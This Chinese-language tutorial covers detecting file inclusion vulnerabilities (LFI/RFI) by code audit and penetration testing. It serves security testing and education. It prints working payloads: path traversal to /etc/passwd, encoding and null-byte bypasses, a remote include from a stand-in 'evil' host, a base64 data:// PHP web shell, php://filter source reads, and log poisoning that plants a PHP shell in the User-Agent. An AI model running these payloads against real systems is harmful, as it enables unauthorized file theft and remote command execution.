本文目录导读:

文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,通常分为本地文件包含(LFI)和远程文件包含(RFI),攻击者可以通过操控传递给文件包含函数的参数,读取敏感文件或执行恶意代码。
以下是检测文件包含漏洞的常用方法和步骤,从被动检测(代码审计)到主动检测(渗透测试)都有涉及。
代码审计(白盒检测)
如果你有源代码,这是最直接、最彻底的检测方式。
查找危险函数 搜索代码中所有可能引起文件包含的函数:
- PHP:
include(),include_once(),require(),require_once(),file_get_contents(),fopen(),readfile(),highlight_file()等。 - JSP/Servlet:
RequestDispatcher.include(),response.sendRedirect(),import标签,<%@ include file="..." %>。 - ASP.NET:
Response.WriteFile(),Server.Execute(),Include指令。 - 其他语言:
import,load,include等类似函数。
重点检查参数来源 检查上述函数的参数是否直接或间接来源于用户输入(GET/POST 参数, Cookie, HTTP Header, 上传文件名等)。
// 危险:直接使用用户输入
include($_GET['page']);
// 相对安全:有限制,但可能被绕过
include('includes/' . $_GET['page'] . '.php');
检查路径过滤与限制
- 是否有强制指定的文件扩展名(如
.php)? - 是否有路径限制(如只能访问特定目录)?
- 是否存在目录遍历漏洞()的过滤,以及过滤是否可以被绕过(如使用 , , URL 编码
%2e%2e%2f)? - 是否禁用了
allow_url_include(PHP 中)?如果禁用了,则无法使用 RFI,但 LFI 仍有可能。
渗透测试(黑盒检测)
在没有源代码时,通过向目标应用发送精心构造的请求来探测漏洞。
基础探测
- 识别输入点: 找到可能影响文件的参数,
?page=home?file=readme.txt?template=default?lang=english?include=footer
- 改变参数值: 尝试使用不同的值,观察应用行为是否改变(页面内容、错误信息等)。
测试本地文件包含(LFI)
尝试读取服务器上的敏感文件。
- 基本路径遍历:
?page=../../etc/passwd(Linux)?page=..\..\windows\win.ini(Windows)
- 使用不同编码绕过过滤:
- URL 双重编码:
%252e%252e%252f->%2e%2e%2f-> - Unicode 编码:
..%c0%ae(在某些 IIS 版本中有效) - 16 进制编码:
%2e%2e%2f
- URL 双重编码:
- 使用不同路径分隔符:
, , , , 等。
- 配合空字节截断(仅适用于 PHP 5.3.4 之前版本):
- 如果应用在字符串后加
.php(如include($_GET['page'] . '.php');),可尝试?page=../../etc/passwd%00。
- 如果应用在字符串后加
- 配合长路径截断(Windows):
- 利用 Windows 路径长度限制,如
?page=../../etc/passwd..............。
- 利用 Windows 路径长度限制,如
测试远程文件包含(RFI)
如果应用可能从远程服务器加载文件,可以尝试包含一个自己控制的可访问 URL。
- 基础测试:
?page=http://your-server.com/evil.txt?page=https://your-server.com/evil.txt
- 使用不同协议:
?page=ftp://your-server.com/evil.txt?page=php://input(可以 POST 发送 PHP 代码)?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+(PHP 代码<?php system($_GET['cmd']); ?>的 Base64 编码)
使用 PHP Wrappers(针对 PHP 环境的 LFI 进阶)
即使无法包含远程文件,PHP Wrappers 也能实现代码执行或信息泄露。
php://filter: 读取源代码(Base64 编码后返回)。?page=php://filter/convert.base64-encode/resource=index.php
php://input: 配合allow_url_include=On,通过 POST 发送 PHP 代码执行。data://: 直接写入数据。?page=data://text/plain,<?php%20phpinfo();%20?>
expect://: 如果安装了 expect 扩展,可直接执行命令。?page=expect://id
phar:///zip://: 配合文件上传漏洞,通过包含恶意文件解压后的内容执行代码。
使用日志文件包含(Log Poisoning)
如果无法通过普通文件读取得到 shell,可以尝试污染日志文件,然后包含它。
- 步骤:
- 向服务器发送包含恶意代码的请求(User-Agent 或 Referer 头)。
User-Agent: <?php system($_GET['cmd']); ?> - 找到日志文件路径(如 Apache 的
/var/log/apache2/access.log, Nginx 的/var/log/nginx/access.log)。 - 使用 LFI 包含该日志文件(加上命令参数):
?page=../../var/log/apache2/access.log&cmd=id
- 向服务器发送包含恶意代码的请求(User-Agent 或 Referer 头)。
检测结果判定
- 变化: 成功包含文件后,页面内容会包含该文件的内容(如
/etc/passwd的用户列表)。 - 错误信息泄露: 如果包含失败,页面可能会显示错误信息,
Warning: include(does_not_exist.php): failed to open stream: No such file or directory,这可以帮助确认漏洞存在。 - HTTP 响应状态码: 有时状态码也能提供信息。
- 响应时间: 如果尝试包含远程服务器上的大文件,响应时间可能变长(前提是应用没有超时)。
使用自动化工具
手动检测效率较低,尤其在大型应用中,以下工具可以自动完成检测:
- Burp Suite (Intruder, Scanner): 自定义 Payload 列表,通过 Intruder 模块批量测试,也可以使用主动扫描功能。
- OWASP ZAP: 开源的 Web 应用安全扫描器,支持自动化 LFI/RFI 检测。
- Kali Linux 专用工具:
- fimap: 专门用于 LFI/RFI 的检测与利用工具。
- LFISuite: 功能较全的 LFI 自动化工具。
- Commix: 当 LFI 成功时,它可以自动化利用漏洞执行命令。
- wfuzz / ffuf: 灵活的模糊测试工具,配合字典使用。
使用 Burp Suite 的简单流程:
- 拦截一个包含可疑参数的请求(如
?page=home)。 - 发送到 Intruder,将参数值
home标记为 Payload 位置。 - 加载一个常用 LFI Payload 字典(如
../../etc/passwd,php://filter/,%00等)。 - 启动攻击,根据响应长度、状态码、内容等筛选出异常结果。
总结与注意事项
- 从简单开始: 先测试基本的路径遍历,再尝试编码和 Wrapper。
- 结合环境: 理解目标使用的框架、语言和服务器配置(如
allow_url_include是否开启)。 - 注意日志污染: 日志文件包含是一种非常实用且常见的方法。
- 注意安全: 检测漏洞时,不要在未经授权的情况下进行,始终遵循渗透测试协议,如果成功读取了敏感文件,不要外泄,只需记录漏洞存在即可。
- 考虑误报: 有些响应变化可能是应用正常逻辑(如处理错误信息),建议结合多个 Payload 和上下文进行交叉验证。